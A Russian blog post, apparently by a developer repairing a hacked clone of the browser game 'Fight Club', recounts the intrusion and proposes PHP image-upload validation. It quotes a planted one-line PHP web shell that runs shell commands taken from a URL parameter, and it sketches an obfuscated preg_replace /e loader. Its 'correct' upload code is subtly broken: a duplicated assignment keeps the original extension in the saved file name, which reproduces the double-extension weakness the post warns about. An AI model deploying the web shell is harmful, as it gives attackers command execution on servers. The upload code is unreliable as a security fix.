Сейчас мне пришлось работать с одним из клонов известного Бойцовского клуба. Игра была взломана. Злоумышленник авторизуется под персонажами глав администрации и делает что хочет.
Основная проблема в грубом нарушении разработчиками правил безопасности при проверке получаемых от пользователя данных. Местами проверок вообще нет.
На данный момент я прохожу по основным скриптам, экранируя переменные получаемые извне. Также были удалены скрипты позволяющие скачать базу, просмотреть содержимое папок и информацию о сервере. Как они были залиты я ещё не выяснил.
Интересно, что один из хакерских скриптов был обнаружен моим антивирусом. При этом сам скрипт выглядел следующим образом:
// <несколько переменных>
preg_replace("/.*/e",
"<мешанина символов на несколько десятков строк>");
Но в первую очередь на глаза мне попались странные файлы в корне сайта с названиями «config.php.gif», помимо прочего содержащие следующую строку:
<?php system(urldecode($_GET['q'])); ?>
Хоть этот вариант атаки и не сработал, благодаря тому что при загрузке изображений файлам принудительно присоединялось расширение «.gif», я хочу написать о проверке загружаемых файлов.
В моём случае обработка загружаемого изображения состояла из:
- проверки расширения,
- проверки mime типа при помощи getimagesize
- принудительной установки расширения .gif.
По-моему правильнее было бы сделать следующим образом:
define('MAX_FILE_NAME_LEN', 250);
define('DEST_FOLDER', 'd:/htdocs/test/');
$img_file = $_FILES['file']['tmp_name'];
/*
[ проверка кода ошибки $_FILES['file']['error'] ]
*/
// Получение mime-типа
$img_info = getimagesize($img_file);
// Проверка на соответствие типу
// правильнее иметь список разрешённых типов, а не наоборот
switch ($img_info['mime'])
{
case 'image/gif':
$img_res = imagecreatefromgif($img_file);
$file_ext = '.gif';
break;
case 'image/jpeg':
$img_res = imagecreatefromjpeg($img_file);
$file_ext = '.jpg';
break;
default:
trigger_error('Unknown type "'. $img_info['mime'] .'"!',
E_USER_ERROR);
exit;
}
if ($img_res === false)
{
trigger_error('File is not valid!', E_USER_ERROR);
exit;
}
// Проверяем имя файла
$dot_pos = strrpos($_FILES['file']['name'], '.');
$name_chunk = substr($_FILES['file']['name'], 0, $dot_pos);
$name_chunk = substr($_FILES['file']['name'], 0,
MAX_FILE_NAME_LEN);
$name_chunk = preg_replace('/[^\d_.a-z]/i', '', $name_chunk);
if (!strlen($name_chunk))
$name_chunk = time();
// Избегаем перезаписывания файлов
$img_name = $name_chunk . $file_ext;
if (file_exists(DEST_FOLDER . $img_name))
{
for ($i = 1;
file_exists(DEST_FOLDER . $name_chunk . '_' . $i .
$file_ext); $i++);
$img_name = $name_chunk . '_' . $i . $file_ext;
}
// This function checks to ensure that the file designated by
// filename is a valid upload file (meaning that it was uploaded
// via PHP's HTTP POST upload mechanism).
move_uploaded_file($_FILES['file']['tmp_name'],
DEST_FOLDER . $img_name);
Дополнительно можно разумно ограничить минимальный и максимальный размер файла.
Помимо самого файла, нужно обезопасить директорию назначения, и снять с неё права на выполнение:
chmod a-x /dir/path
PS: а ещё я сегодня получил права :)